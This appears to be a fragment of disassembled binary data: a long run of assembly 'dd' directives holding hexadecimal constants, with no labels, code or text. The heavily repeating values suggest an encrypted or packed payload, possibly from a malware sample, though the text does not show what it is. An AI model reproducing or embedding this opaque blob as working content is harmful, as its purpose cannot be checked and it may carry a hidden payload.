		dd 2B8B978Dh, 0C0A4CCAh, 0EDC83E0h, 8003C1CDh, 0F2DF90EFh
		dd 0C13D1368h, 22321573h, 113D9D69h, 82DB1566h,	43321566h
		dd 715C7029h, 9D40B37Eh, 8DB7D34Ch, 234124Ah, 24267D9Ah
		dd 923DAFB8h, 88321567h, 6987EA93h, 0DE34127Dh,	2A1690EBh
		dd 3D1361h, 44321567h, 2DE2EA9Fh, 113214EFh, 0DBBED66h
		dd 423C6F93h, 27B7D393h, 5634124Ah, 8822FC06h, 51081566h
		dd 32A5AD4Ah, 0BD0D970Fh, 0B22DE193h, 25CA0A57h, 0FE226F0Eh
		dd 1122FCE7h, 0EE151566h, 0ACF9012Eh, 5A960A78h, 0CEF153A2h
		dd 3DCD33DFh, 42350E4Bh, 6B7989Ah, 0ED34125Dh, 1CEC599h
		dd 4A48E8E3h, 31B21A60h, 0F8321566h, 88321568h,	0A977B6C6h
		dd 50F28336h, 3C57F970h, 81DB28C0h, 0A0321566h,	0E137DC50h
		dd 9A939002h, 0A43790A0h, 0BD751361h, 0A5BCB90Eh, 90547589h
		dd 0E86879B0h, 0E3C8AC00h, 2232128Eh, 4086C566h, 0C07CD9E3h
		dd 4B53743Ch, 223214EFh, 0A4CDEC66h, 8E350E4Bh,	0C554759Eh
		dd 43C261B0h, 2A1690EBh, 43D1361h, 4432156Dh, 2232138Fh
		dd 0FA55A266h, 717B85C8h, 0CDC7C599h, 2C4914E3h, 0AF547560h
		dd 0E9CEA82Ah, 683790A0h, 2D751361h, 11321DEAh,	8AB01A66h
		dd 24321566h, 85E07D07h, 1DBC1FCh, 12321566h, 41AAC3A6h
		dd 5DB9650Ah, 0D27D40B2h, 7DEC8310h, 5F1FA099h,	28DB1361h
		dd 51321566h, 5B89AAAFh, 79B09282h, 6B798D5h, 1E34125Dh
		dd 883214E8h, 94CDE966h, 22321E8Fh, 3E1AA966h, 284E33AEh
		dd 6F6E71CAh, 593790EFh, 943D1368h, 88321567h, 0C564759Ah
		dd 0BCB5E386h, 70C74E39h, 0A43790A0h, 0BD751361h, 0E30B110Eh
		dd 0A4CDEDDCh, 8E350E4Bh, 443E9569h, 0AE3D1566h, 11321560h
		dd 88329669h, 0C1BF1566h, 24352E42h, 14B21A06h,	37321566h
		dd 2AD1CAE5h, 22319D69h, 0AE3D1566h, 58CD74BFh,	44219C69h
		dd 0AB3D1566h, 1132156Bh, 88321D8Fh, 0B862A666h, 0AF428B73h
		dd 18B79C4Eh, 7D341B1Dh, 958F969Fh, 22341254h, 117C9069h
		dd 0DA521566h, 0C46D7406h, 0E45306BCh, 161E10E3h, 0E0CB5260h
		dd 0A4403801h, 0CBB37306h, 70CB33FAh, 931FA099h, 0C9CE1361h
		dd 250931E3h, 1CB91A60h, 61321566h, 4432156Eh, 14F67DFCh
		dd 6B18AD0Fh, 3052C599h, 57EC9884h, 2FB79C07h, 0E8341B1Dh
		dd 0A43790A0h, 0B8751361h, 0B81A40Eh, 1138FCE8h, 0C7351566h
		dd 5C617B03h, 8BE67C0h,	0A1FA099h, 5CA1361h, 430931E3h
		dd 23BE1A60h, 0E8321566h, 3DC599h, 4432157Fh, 0CAE29E06h
		dd 11321569h, 544A5967h, 48DE9ACFh, 0E4646234h,	4E8FD64Ah
		dd 99B79C07h, 0BD341B1Dh, 0E3790A0h, 0F8711361h, 88321561h
		dd 0D811A28Bh, 4AE4B8A5h, 0D1445FC1h, 0A587EA9Ah, 2434127Dh
		dd 0E8B34CD3h, 16AC682Ch, 0ACB79807h, 0AD34125Dh, 22321575h
		dd 0DE7F5CB7h, 0CB062EBFh, 0B510D172h, 3A526C4Fh, 0EE17CE4Bh
		dd 373D75B6h, 4420FCA0h, 776D1566h, 3B0FB63Eh, 0A1F976ABh
		dd 0FF6D46E5h, 365F6DD5h, 4B79C07h, 74341B1Dh, 4432138Fh
		dd 34B94C66h, 0D723A0EDh, 8F1E10E3h, 2CC75960h,	0D954798Dh
		dd 0E88D1A06h, 7753FEECh, 432914D3h, 0AFCBEC60h, 160931E3h
		dd 883AFC60h, 0FC3F1566h, 0FFAED068h, 1EDB851Dh, 5D321566h
		dd 10924130h, 3F5D817Ch, 4E16F0F4h, 58CDB0E4h, 4432068Fh
		dd 5C037E66h, 550A70EFh, 285B1B32h, 39335875h, 0B3B1128Fh
		dd 11339869h, 1C71566h,	4A49BCE3h, 0A7F4EC60h, 17353963h
		dd 89BD1A22h, 0B8321566h, 51BC400Eh, 0A4CDE0DDh, 8E350E4Bh
		dd 0FBC29E06h, 78F0267Fh, 35B79807h, 8734125Dh,	44321DE5h
		dd 20B61A66h, 71321566h, 70E2EA07h, 3F2B90EFh, 0E4CE1368h
		dd 161E10E3h, 9BDB5660h, 44321566h, 0D4501766h,	0C49DE1A3h
		dd 52DC49DFh, 2D8BFDFAh, 0DE5A5E8Fh, 718E9B08h,	8832078Fh
		dd 0F466F366h, 0B3D0C32Ch, 0AEBBFD2Ah, 306FDF1Dh, 4B9F2718h
		dd 223210E7h, 4672AD66h, 7753097Ch, 432938D3h, 2DCA7560h
		dd 0E453E3D1h, 0B31690EBh, 0BBCB1361h, 223FFCB6h, 0A6FB1566h
		dd 3EA758B9h, 0A6DD8989h, 0AB955356h, 1F4908E3h, 80B81A60h
		dd 4B321566h, 223217ECh, 0D7537566h, 8F1E10E3h,	2CC74660h
		dd 0E4222BCCh, 1132198Fh
		dd 0C7223866h, 20E30B2h, 0A321216Dh, 3C87EA73h,	0E834127Dh
		dd 0ADE19E00h, 22321574h, 0ADAC3CDAh, 48BF0DA6h, 0F0840DE5h
		dd 93FD00C9h, 9C53532Dh, 8F0931E3h, 4B527560h, 223215EBh
		dd 70537566h, 8832078Eh, 51829066h, 0F497D90Ch,	2ADB2C0Dh
		dd 0BD3E3042h, 126EAFFCh, 0DD534D3Fh, 113CFCB6h, 2F6A1566h
		dd 80663FECh, 43353284h, 666FD6EAh, 0F31390EFh,	0C7CB1368h
		dd 253914DBh, 953D1560h, 88321690h, 44389069h, 42521566h
		dd 11B61A07h, 0E9321566h, 1564ED06h, 0E4534E3Ch, 161E10E3h
		dd 0EE525360h, 24F7AAD9h, 2232078Fh, 0A6BA3266h, 0C1930632h
		dd 0C98741Bh, 0F9DC0A6Eh, 70E5AD8Ah, 46037D07h,	0BD52EFF0h
		dd 43F49E00h, 0A1FA099h, 61521361h, 44321563h, 1E93495Ch
		dd 70E59E44h, 5F851A06h, 25C9AA69h, 191690EBh, 0EEC71361h
		dd 8839FCB6h, 42B01566h, 23AF803Ch, 0B96DDF4Bh,	0F5B79CACh
		dd 0B1341B1Dh, 27B7D393h, 5734124Ah, 0FEDD9406h, 0AC3034ACh
		dd 22321572h, 0F4E551EFh, 918A9B31h, 4C6464BDh,	0FAB08D2Bh
		dd 0FFF9774Fh, 0A406AE00h, 925A743Eh, 2DCEB25Ch, 11320AEDh
		dd 32547566h, 50DBDEF7h, 0D6321566h, 9A0DA2CFh,	0FFD1366Ah
		dd 95657B87h, 62B13D96h, 70697DF1h, 931FA099h, 0C9CB1361h
		dd 250931E3h, 19BA1A60h, 87321566h, 443217EFh, 0DD537566h
		dd 113EFCB6h, 0E571566h, 4B3BAF8Fh, 0B48C7A79h,	94BBC230h
		dd 8E3C6EEBh, 4432058Fh, 352EAD66h, 43D1C531h, 0C32ACBB2h
		dd 0F5C08119h, 27B7D3D6h, 5734124Ah, 88321F8Fh,	2DE20866h
		dd 76DBCD24h, 79EC473Bh, 1ACEB166h, 4421FC9Ah, 2BA21566h
		dd 44170A43h, 3135BAD0h, 0A9C52DD8h, 0F17F25Ch,	3C87EA00h
		dd 8734127Dh, 44321DE6h, 20B61A66h, 71321566h, 0ACB79807h
		dd 4B34125Dh, 223204E3h, 113EFC66h, 0E91D1566h,	0A7A0CE42h
		dd 3B1E3172h, 0C1CDD141h, 474BAE06h, 0CD5340EDh, 2C4984E3h
		dd 1EBA1A60h, 61321566h, 4432156Ch, 3713A8Fh, 0F5BE1E9h
		dd 93D58C8h, 44321561h,	0C9B37306h, 0D753E7B5h,	8F1E10E3h
		dd 2CCA5360h, 0D4E65A0Ch, 128B7306h, 3DCD741Ah,	42350E4Bh
		dd 6B7989Ah, 0F834125Dh, 8832156Ch, 7170E1B4h, 9A6D4F16h
		dd 0C1CDEFB6h, 8832048Fh, 3EF46966h, 477632FFh,	4640A693h
		dd 0A9878EA3h, 0C1BB116Fh, 243C6EF3h, 1132058Fh, 0A11F3366h
		dd 0A5A81CBh, 0D6CD016Ah, 4164DCFFh, 8DB7D31Fh,	234124Ah
		dd 22321B8Fh, 73E2E566h, 0D061BBCAh, 2045E27h, 425578BBh
		dd 0F9B3CBEDh, 0CF0BF1BFh, 14D57D07h, 2DDB81ABh, 1D321566h
		dd 0E20C5DA6h, 50050A41h, 2EEA3ADEh, 0A4CD1998h, 8E350E4Bh
		dd 0ADC77506h, 22321561h, 59403F86h, 0E9EC3586h, 4432188Fh
		dd 63AC2166h, 3F839D37h, 7EC58EE9h, 4B534D66h, 22321AEEh
		dd 1138FC66h, 0A4C21566h, 740717A3h, 0BC694AD5h, 2A1690EBh
		dd 9BDB1361h, 3B321566h, 8611AA67h, 0D3842B1Ah,	0F0EF665Bh
		dd 52BD6681h, 0DB522E41h, 11319F69h, 3541566h, 94CD7491h
		dd 0A3B79C9Fh, 0F8341B1Dh, 88321568h, 547867AAh, 57757904h
		dd 45404BAAh, 0DF4B68Ah, 42353963h, 2238FC20h, 40891566h
		dd 0A456A944h, 0C008AD3Fh, 462E0Eh, 19B31AD7h, 0E8321566h
		dd 0CEACE5E7h, 0DD530FFFh, 162938D3h, 0DBFE960h, 42352E42h
		dd 22339969h, 71CE1566h, 0B201AD00h, 4432198Eh,	0F64A0166h
		dd 5F3F440Ah, 7608179h,	1DC89EF9h, 42E2EA07h, 5865CCE7h
		dd 4EB93D63h, 0C1B79C07h, 42341B1Dh, 0FDD09506h, 88321D8Fh
		dd 215B9866h, 70CDD7BEh, 0A85474DEh, 0E85328E8h, 44369669h
		dd 9C541566h, 0DFB8981Eh, 8DB7D307h, 234124Ah, 2232048Fh
		dd 3E4AC066h, 0B28DD77Eh, 32108637h, 90FA7E91h,	0FC5A7553h
		dd 87ED6C8Ch, 44320DE4h, 2DDB7566h, 2B321566h, 3F32AED8h
		dd 16EEBBAh, 42D9C466h,	486312FCh, 883EFC07h, 29171566h
		dd 0CFB65319h, 4C934A3Fh, 3DCDF43Bh, 42350E4Bh,	6B7989Ah
		dd 0E934125Dh, 8752C599h, 0CD53CCD1h, 2C499CE3h, 6BC1A60h
		dd 0E8321566h, 49DA4B36h, 4E321566h, 0F69CAF3h,	0FE91EE8Eh
		dd 0E9A19FD0h, 9FB17438h, 173527B7h, 28B71A66h,	0B8321566h
		dd 0E3790A0h, 1E611361h, 883214E0h, 1A5AEC66h, 0DEFCAB86h
		dd 11321E8Fh, 0AB8EFA66h, 1DCFEA35h, 17EDFA69h,	0A1FA099h
		dd 87DB1361h, 9D321566h, 274213BEh, 58CF7A92h, 9AD366E7h
		dd 4BDB5834h, 0B4321566h, 0C10EDA0Ch, 0A616FB38h, 82D580E2h
		dd 0A7BFEF05h, 17352E42h, 8826FC06h, 0BD7C1566h, 215BD61Eh
		dd 99C81344h, 4FF0C576h, 20F724Fh, 7152BB8Ch, 1120FD3Dh
		dd 6FC1566h, 849F4897h,	43A85785h, 33348FCFh, 2554A7CDh
		dd 0BB53743Fh, 608875B6h, 70791B22h, 0F31790EFh, 82CE1368h
		dd 251E10E3h, 2DB5260h,	0BF321566h, 0E804549Bh,	114A5C44h
		dd 7850F2D7h, 0F762B94Ah, 0C35A8D65h, 0CBF5A438h, 11321563h
		dd 638FF57Dh, 6987EA0Ah, 0CB34127Dh, 11321572h,	8919F848h
		dd 0C35D4BD5h, 177CD6C1h, 6AB23372h, 3B2D9673h,	60B7989Ah
		dd 4234125Dh, 1132018Fh, 4A809A66h, 8DD8C687h, 0AA05E6E7h
		dd 661841h, 36E42B7Ah, 0BDB946D9h, 0F2CD743Ch, 0FFFF9506h
		dd 0E853C4EDh, 4432188Eh, 0C9FF3766h, 24B15EFAh, 82CD3F51h
		dd 95B90725h, 0C0B37338h, 9853ABF2h, 86493CE3h,	50B11A60h
		dd 42321566h, 1BDA7406h, 65321566h, 8E440A86h, 9AC883ACh
		dd 1E534F43h, 883203E3h, 54B61A66h, 0CB321566h,	1132156Dh
		dd 0F218AD0Fh, 77D44793h, 0A10E9181h, 1600C4DBh, 0D3D1560h
		dd 44321511h, 223E9069h, 9B3D1566h, 88321560h, 44329269h
		dd 0A7F41566h, 17353963h, 8834FC21h, 5FF81566h,	96AAFA14h
		dd 734C100Eh, 84B31A80h, 4B321566h, 223213E8h, 11BC1A66h
		dd 77321566h, 432938D3h, 36B31A60h, 0F8321566h,	88321569h
		dd 9090C5D6h, 0C45BD908h, 583298BEh, 5B753C8h, 430931E3h
		dd 0F2CDE960h, 3CB79C9Eh, 0E8341B1Dh, 0A1F49400h, 4273ADE1h
		dd 0D75374B4h, 8F1E10E3h, 24525660h, 223FFC93h,	0D6051566h
		dd 0FB1109E2h, 646B510Dh, 4300F7F7h, 1132128Eh,	0DDFEEF66h
		dd 6A8D0371h, 73E19400h, 79534D61h, 1A481C90h, 47B81A9Eh
		dd 42321566h, 0A4CD749Eh, 8E350E4Bh, 443DFD06h,	4DDF1566h
		dd 754A513Ah, 4C3BF47Eh, 7FC9B5E7h, 0CA644E98h,	1132156Eh
		dd 554FD892h, 24556374h, 0AF534D3Ch, 160931E3h,	58CDE060h
		dd 44321D8Fh, 1A9CB666h, 76C1A421h, 0B9B79CF1h,	4B341B1Dh
		dd 223214E6h, 94F4E066h, 8E353963h, 443DFC25h, 0D7A21566h
		dd 0B1F9D996h, 0E9F12543h, 0A2AF0D96h, 0B5127D52h, 7052E947h
		dd 931FA099h, 0FE521361h, 5EB865F2h, 0E453E5EDh, 0B31690EBh
		dd 0BBCE1361h, 24DB75B6h, 98321566h, 74B4EB20h,	46BC1A15h
		dd 0A8321566h, 94BB74A4h, 8E3C6E53h, 958F969Fh,	22341254h
		dd 11E39069h, 4EC71566h, 431E10E3h, 4ACA5660h, 9A32BD65h
		dd 0A08D7306h, 443BFC5Ah, 53091566h, 53FF36D0h,	0E9F25BB2h
		dd 6987EA9Ah, 2D34127Dh, 113219EBh, 8EB91A66h, 4B321566h
		dd 223215E1h, 35B79866h, 7D34125Dh, 1752C599h, 7DE39E00h
		dd 708FCCE6h, 0F30F90EFh, 0B1CA1368h, 0E3790A0h, 71711361h
		dd 0CC0FAC00h, 4B637507h, 223215E6h, 953D4A66h,	88321560h
		dd 44329F69h, 4A531566h, 0F46923B3h, 88389769h,	41DB1566h
		dd 8D321566h, 0C1C19997h
		dd 931FA099h, 4BCB1361h, 223214E5h, 94BFED66h, 8E352E42h
		dd 8990AC06h, 953D2DB3h, 0C1CD74B7h, 61F09E06h,	44321560h
		dd 0B1EC6415h, 9853DCC7h, 86492CE3h, 9FB37560h,	34709941h
		dd 4154E2E7h, 4E5303B2h, 431E10E3h, 9A525660h, 688B406h
		dd 0E9CDAA69h, 0EE00F40Eh, 9B61758Ch, 16348074h, 89BE1A3Fh
		dd 0B8321566h, 0F87EA07h, 7134127Dh, 553C6EDh, 430931E3h
		dd 15887560h, 0F8091C79h, 8832156Fh, 0B4C88B59h, 0BCA423FDh
		dd 0C1CD7455h, 8BB41A06h, 0C4321566h, 31DB5DB7h, 8321566h
		dd 413E8CF7h, 6F12A6E5h, 6E9FC48Ch, 3877C2C2h, 153EB13h
		dd 4A4954E3h, 223CFC60h, 3C91566h, 0F474B2F2h, 15D00326h
		dd 565D204Dh, 3D3790A0h, 61711361h, 4432156Dh, 0DB12E49Dh
		dd 62F9286Ch, 0E075F1F5h, 0C0C3B951h, 0F87EA9Ah, 0E434127Dh
		dd 0D7634706h, 0C1BF743Ch, 24352E42h, 11339C69h, 87CB1566h
		dd 443205E4h, 28B21A66h, 0F8321566h, 88321563h,	0EFC27F67h
		dd 0CBE2EA0Eh, 1132156Ch, 3D07DCE0h, 590C90FDh,	0A7BB72CDh
		dd 173C6E23h, 99DB4306h, 4B321566h, 164CFCEh, 37D7D14Bh
		dd 0F9F47051h, 0ADEEAD3Dh, 4399A33Ch, 3D3790A0h, 0E87D1361h
		dd 44399869h, 24DB1566h, 6A321566h, 0DB32A232h,	93B373ACh
		dd 4A53A9A1h, 860785B2h, 88359669h, 24521566h, 0EC851A07h
		dd 3C87EA07h, 8734127Dh, 44321FE0h, 0CDB37566h,	0F757942h
		dd 553C2EDh, 430931E3h,	223BFC60h, 4B6C1566h, 4BEF211Bh
		dd 24790B9Ah, 0F8B2D7EDh, 0C1CD74BAh, 0FA8D7306h, 42BA1A88h
		dd 2D321566h, 113215EFh, 0DBB7466h, 423C6E2Fh, 2232048Fh
		dd 0C54E0F66h, 0C94A8236h, 2110E58Dh, 586C11A5h, 1DDBB3A7h
		dd 0C1321566h, 16C1B3EDh, 75BFACE2h, 0D77C7B80h, 8F1E10E3h
		dd 2CCA5A60h, 0DB5C1B64h, 1120FC06h, 70151566h,	0F08C08C5h
		dd 37BA80B1h, 3A5DE754h, 1CB66ADDh, 4432128Eh, 0B8858B66h
		dd 9D6A4DA2h, 0D1F2A269h, 6987EA07h, 0CB34127Dh, 1132156Ah
		dd 0A4DF7C23h, 0D033C7D6h, 0E6FCF68Ah, 79C09406h, 87346846h
		dd 443210EEh, 144EAA66h, 9C5374F6h, 8F0931E3h, 4421FC60h
		dd 6A271566h, 0A06EBF1Bh, 0B7C70C9Ch, 0E1EDCA9Fh, 0FC4FC121h
		dd 1EE2EA21h, 88321BEBh, 443BFC66h, 0C3B71566h,	6BB5D90Ah
		dd 0E82FFD46h, 44309F69h, 79621566h, 5CB79C07h,	0E8341B1Dh
		dd 8253E99Ah, 251E10E3h, 1BDB5860h, 49321566h, 0BEFBC059h
		dd 0CB5933A7h, 1E607533h, 396BE5D1h, 0D5A7477h,	42FA221Fh
		dd 11321D8Fh, 0E8F5F666h, 79954480h, 97CD7460h,	17350E4Bh
		dd 883BFC9Fh, 0DE6C1566h, 4D659973h, 9CE906E0h,	8F0931E3h
		dd 45B11A60h, 0DA321566h, 943DC599h, 8832157Eh,	4432068Fh
		dd 14870B66h, 3DF02A5Eh, 0B6BFC359h, 0F323A433h, 1419A951h
		dd 6A6790EFh, 8DDB1368h, 3A321566h, 1C021F5Ch, 3D3790A0h
		dd 717F1361h, 0B37F9C0Eh, 2222FCBAh, 0B4351566h, 0AD5172D9h
		dd 443C18F7h, 0D4501766h, 0A4CDE1A3h, 8E350E4Bh, 60B7989Ah
		dd 0DE34125Dh, 0EDCAC599h, 0F36390EFh, 82CB1368h, 251E10E3h
		dd 5DB4060h, 65321566h,	2CD7DB34h, 0C663B0FFh, 26C5773Bh
		dd 0B97FD61Ah, 2C56CB6Eh, 0BE293851h, 112B9E69h, 9CDB1566h
		dd 0E2321566h, 22C1A979h, 66817DD9h, 0EA9816D7h, 537CE0A8h
		dd 0D7D9776Fh, 0A1FA099h, 71521361h, 0C953ECEDh, 250931E3h
		dd 0C1CDE960h, 8832128Fh, 0E662CC66h, 2B210932h, 6A6B90EFh
		dd 0A3D1368h, 44321567h, 27B7D39Ah, 5234124Ah, 88339569h
		dd 2CC71566h, 0F0E7E54Ch, 3C87EA9Ah, 6134127Dh,	44321563h
		dd 0DE606E81h, 1BB31A79h, 0E8321566h, 0E6638CDCh, 0DA8D1A0Ch
		dd 35B79807h, 8734125Dh, 443200E3h, 2222FC66h, 0A6B41566h
		dd 332BCD74h, 21C6FEC3h, 0BA0440C3h, 0EECA9403h, 828975B6h
		dd 0CF3FD0B6h, 0A7BB749Fh, 173C6E3Bh, 88321C8Fh, 64096066h
		dd 69EDD0C5h, 94F445E2h, 8E353963h, 4422FC34h, 83C11566h
		dd 0CDC9C4Fh, 0E1166A7Dh, 72981A08h, 0C85A3A21h, 0E4CF57D2h
		dd 931FA099h, 0C9CA1361h, 250931E3h, 19DA7560h,	0D6321566h
		dd 6A61F179h, 4432435Fh, 9069E6EDh, 3A8441B4h, 48DB741Ch
		dd 0AA321566h, 8FEA5421h, 0C8F05E7Bh, 0BB384A7Ah, 2220FCB6h
		dd 16161566h, 1228CFF2h, 67D13A6Fh, 4D06A20Eh, 0FFB445DBh
		dd 8832108Fh, 0F92A0566h, 0A7BB6D75h, 17350A27h, 9547593h
		dd 0ADFEDABCh, 2232156Bh, 9A818995h, 26F29796h,	24852179h
		dd 0A7F47490h, 17353963h, 115AE021h, 0ADD08D3Fh, 2232156Ah
		dd 0C0475FFFh, 0C48688E0h, 0DEF5785Bh, 391FA099h, 9CC71361h
		dd 8F0931E3h, 45B91A60h, 0DB321566h, 973DC599h,	8832157Ah
		dd 4420FC06h, 0C67E1566h, 5A396EC8h, 44318646h,	24A8CE8Ah
		dd 9AD10315h, 70B3E7E6h, 0F35390EFh, 4EDB1368h,	2F321566h
		dd 38162AACh, 4AF7F910h, 41B7D30Ch, 6534124Ah, 11339669h
		dd 0E0CE1566h, 0F5CF75A4h, 0A354759Fh, 0F84B98A7h, 88321576h
		dd 0DBC01796h, 2BE15B1Fh, 90123C70h, 6BE69882h,	6987EA07h
		dd 4234127Dh, 113C9F69h, 80DA1566h, 4321566h, 373BE1h
		dd 4F04D04Eh, 59B37335h, 256936BDh, 191690EBh, 0ED521361h
		dd 0E8E2EA07h, 25F19E00h, 2232018Fh, 8758E266h,	550C503Ch
		dd 0DB9DCB33h, 929E997Ah, 0F12E4634h, 0EDB79CD2h, 4B341B1Dh
		dd 223214EAh, 943DEC66h, 88321577h, 4432198Fh, 0D839A966h
		dd 0BE28DBDh, 1F2DD27Eh, 41B7D357h, 6534124Ah, 11321E8Fh
		dd 6488DF66h, 0A74C5EEFh, 0F9F2E086h, 0B7CC010Eh, 77CEEDB9h
		dd 432938D3h, 0A7BFE960h, 17352E42h, 883D9E69h,	4EDB1566h
		dd 5E321566h, 83374B4Fh, 664C291Bh, 24E2EA62h, 22321D8Fh
		dd 379A5E66h, 5FF3F83Ah, 7A88737Eh, 0A7BB746Eh,	173C6E0Fh
		dd 668C7306h, 8AB37345h, 0E453A982h, 161E10E3h,	81DB4A60h
		dd 0AF321566h, 38EE2673h, 0CD97C7EAh, 0D8C07D0Eh, 4DBF1AF8h
		dd 42321566h, 0F8A3E4E7h, 0E9CB2294h, 5F1FA099h, 72521361h
		dd 4BCCA269h, 0ACB79807h, 4B34125Dh, 22321DE8h,	13BC1A66h
		dd 0E8321566h, 4BE2EA07h, 223212EDh, 10B71A66h,	7D321566h
		dd 3F5F90EFh, 0A3521368h, 6ED289BEh, 0E9E09440h, 255305EDh
		dd 0E3790A0h, 0F87D1361h, 8832156Eh, 0A148AF96h, 33114F3Ah
		dd 0ED492A0Eh, 3DCDEDA1h, 42350E4Bh, 2232068Fh,	33CDC766h
		dd 9D4A1ECCh, 0F8A8AA04h, 530EEBDAh, 4E0E7917h,	8832108Fh
		dd 953AFF66h, 0A7BF91C5h, 17352E42h, 61E2EA9Eh,	4432156Ah
		dd 909F9273h, 17FC204Eh, 4DA33878h, 3FAB90EFh, 44521368h
		dd 0A954E2EDh, 74534517h, 683790A0h, 0DB751361h, 4A5C590Eh
		dd 3DCDED9Ch, 42350E4Bh, 0A354759Ah, 0F81D60B8h, 88321577h
		dd 0E815803h, 0C1879831h, 5908507h, 0E79B6943h,	0C1BF747Eh
		dd 24352E42h, 11321D8Fh, 39890066h, 913F3BF9h, 0CBE2EAF9h
		dd 11321572h, 6A4DFC63h, 90E17E06h, 0FB8853Fh, 88082223h
		dd 0BC58F801h, 3FAF90EFh, 0E4C71368h, 161E10E3h, 0E0CE5260h
		dd 873431ABh, 0F87EA9Fh, 7134127Dh, 4D74C6E7h, 4B606752h
		dd 4369EDD9h, 2A1690EBh, 61521361h, 44321572h, 7B0EB3CCh
		dd 0BC1F374Eh, 3DB0DA76h, 2E5786E4h, 61E2629Ah,	1132198Fh
		dd 40E5E66h, 1D0D802Ah,	0C9A4C8BFh, 0C1CD74E9h,	883E9769h
		dd 0CE3D1566h, 22321560h, 11329A69h, 0DBB1566h,	423C6EC7h
		dd 2232138Fh, 96781666h
		dd 4E1BBF7Eh, 431E10E3h, 0A63D4A60h, 1132156Ah,	88349C69h
		dd 0C93D1566h, 22321566h, 0AA52D90Eh, 89BB1AB2h, 0BC321566h
		dd 391FA099h, 9CCB1361h, 8F0931E3h, 45B81A60h, 0DB321566h
		dd 1BDBC599h, 69321566h, 4320219Ah, 519D3744h, 60B79CD1h
		dd 61341B1Dh, 44321575h, 474B01A0h, 8327FD8Eh, 3E8BDACBh
		dd 0E52F99FDh, 0E46CBD55h, 161E10E3h, 61524A60h, 4432156Fh
		dd 612406D5h, 3FF217D8h, 92B11A8Eh, 0AC321566h,	22321572h
		dd 677209D5h, 0AAB19723h, 427B3DE0h, 4ACBCBF1h,	56C7845Bh
		dd 0C65A743Ch, 4BACFC32h, 22321CE6h, 0C867566h,	325C4DD9h
		dd 0F1CD7426h, 24350E4Bh, 11321D8Fh, 4E085766h,	0ECCEC0FEh
		dd 6B798C7h, 7134125Dh,	0E9F3A269h, 0CB3DC599h,	22321567h
		dd 64B79C9Ah, 0E8341B1Dh, 4432078Fh, 1D302266h,	0D467BF4Ah
		dd 0B53EB8F7h, 3885B5CBh, 43820925h, 11321E8Fh,	0ABE1FD66h
		dd 619AB5BEh, 6AF8A9AEh, 3D3790A0h, 876D1361h, 443219E0h
		dd 24BA1A66h, 1E321566h, 883215E4h, 0FB547566h,	0A952B203h
		dd 709FA3A1h, 0A07A7D07h, 41DBC475h, 41321566h,	55B3958Ah
		dd 0A587EA9Eh, 0B134127Dh, 191690EBh, 0EEC71361h, 9BB81AB6h
		dd 0AD321566h, 22321568h, 40529D0Ch, 234259FFh,	7082EB8Eh
		dd 0A7BBB540h, 173C6E1Fh, 88BB1A06h, 0FD321566h, 6A562357h
		dd 0E8367F07h, 8822150Eh, 1D8B7566h, 0A22FDECAh, 715307AAh
		dd 5C97AD00h, 4432058Eh, 2E376D66h, 728BB73h, 9195A8E2h
		dd 31E0697Eh, 0D4B3730Fh, 706ABBD8h, 8822150Eh,	443BFC66h
		dd 583E1566h, 7F49F621h, 871DE0EFh, 443202E6h, 0A3547566h
		dd 0F8CA44BCh, 8832156Dh, 0D446EC34h, 0F0514B39h, 703A1964h
		dd 77C7150Ch, 432CACF3h, 0ABC7E060h, 163884E3h,	8820FC60h
		dd 866E1566h, 0BAB6C63Dh, 0B186C455h, 0CC09DC12h, 5C8F72CFh
		dd 689B90EBh, 973D1368h, 8832156Ch, 2FD39406h, 0A9141AEFh
		dd 0C1CD74ACh, 87367F93h, 443219EEh, 0A13D7566h, 11321566h
		dd 0FF53AE00h, 9AB37507h, 463AEE45h, 70EA9E00h,	8822150Eh
		dd 4437FC66h, 39961566h, 79C19C22h, 88323566h, 4439FC9Fh
		dd 311E1566h, 4840403Fh, 0E66D7530h, 0BC327F03h, 3C8B8099h
		dd 98CB1361h, 8F2DA0E3h, 0C5547560h, 434ED395h,	1B3F90EFh
		dd 0E2CE1361h, 50DBE926h, 52321566h, 1EAE672h, 5A2CD0E6h
		dd 0ABDD0AE9h, 0D35C2659h, 79BDF55Bh, 88320566h, 44349E69h
		dd 0A9521566h, 705375B0h, 8932150Eh, 2ECEE966h,	2AB11A66h
		dd 71321566h, 0EEF5A269h, 0BB53C4EDh, 252CACF3h, 0B21A60h
		dd 61321566h, 4432156Ah, 541F6098h, 1A8942AEh, 0C15C2E6Dh
		dd 5BAB90EFh, 0A63D1361h, 11321567h, 29879E9Eh,	0B1341256h
		dd 22CF88EDh, 3DB1361h,	0BA321566h, 4407478Ch, 54584207h
		dd 63AC52C9h, 0C2DF52F2h, 0F1879C27h, 0D7341247h, 0FE788EFh
		dd 98DB1361h, 0A0321566h, 0E16F6219h, 210E3A1Ah, 48287D76h
		dd 0AD57DC30h, 2232156Eh, 0DB9634F0h, 0C6B3BFC6h, 44CF88EDh
		dd 2CDB1361h, 0E5321566h, 0E42E6A65h, 680B215Fh, 2A09C8BAh
		dd 17BF1A5Eh, 0E8321566h, 4CE8959Ah, 22884707h,	10321566h
		dd 3389EBCh, 80B13172h,	223DFC62h, 8B351566h, 2B981F92h
		dd 8FDEFB1h, 1C64AAA8h,	11CB968Eh, 0B4039169h, 56DB1566h
		dd 70321566h, 96BD958h,	0DCAFDAh, 530C2AE2h, 4011E85Fh
		dd 0F6BB426Bh, 8836D2E7h, 0ABB11566h, 60E9262h,	35369C3Ah
		dd 88321A8Fh, 242C7666h, 84B59DF1h, 81C5F051h, 6F80879Eh
		dd 41D29C36h, 22321562h, 9636FDE5h, 16E3162h, 1452316Ah
		dd 0D1586DDCh, 19DB4D23h, 45321566h, 3C997544h,	43F675D3h
		dd 0D103E006h, 8FBE1A93h, 4B321566h, 223214E5h,	94BBE066h
		dd 8E35385Bh, 4432128Fh, 0BE750866h, 906A86A1h,	8832290Eh
		dd 60069E66h, 4236D1E5h, 0EC8ADDD5h, 0E93F9DB4h, 46ADD3E7h
		dd 0E4B32284h, 26457120h, 0A8166165h, 2074FBE7h, 0CCB32211h
		dd 26D017F9h, 88321D8Fh, 0F4DAC866h, 0AEE2EF18h, 719F7366h
		dd 36544F36h, 4153F82Eh, 4F4A531Bh, 7A63D563h, 0AC761640h
		dd 15F23846h, 5F1F330Dh, 1E5F6D20h, 88320EE8h, 4ADB7566h
		dd 84321566h, 0EBBB6807h, 0AD532BE7h, 0B9809541h, 22B31A48h
		dd 70321566h, 94A6599h,	5AF5314Ah, 716C0156h, 212CD2DDh
		dd 0D3EC1472h, 443B9469h, 2D521566h, 113215E0h,	953E066h
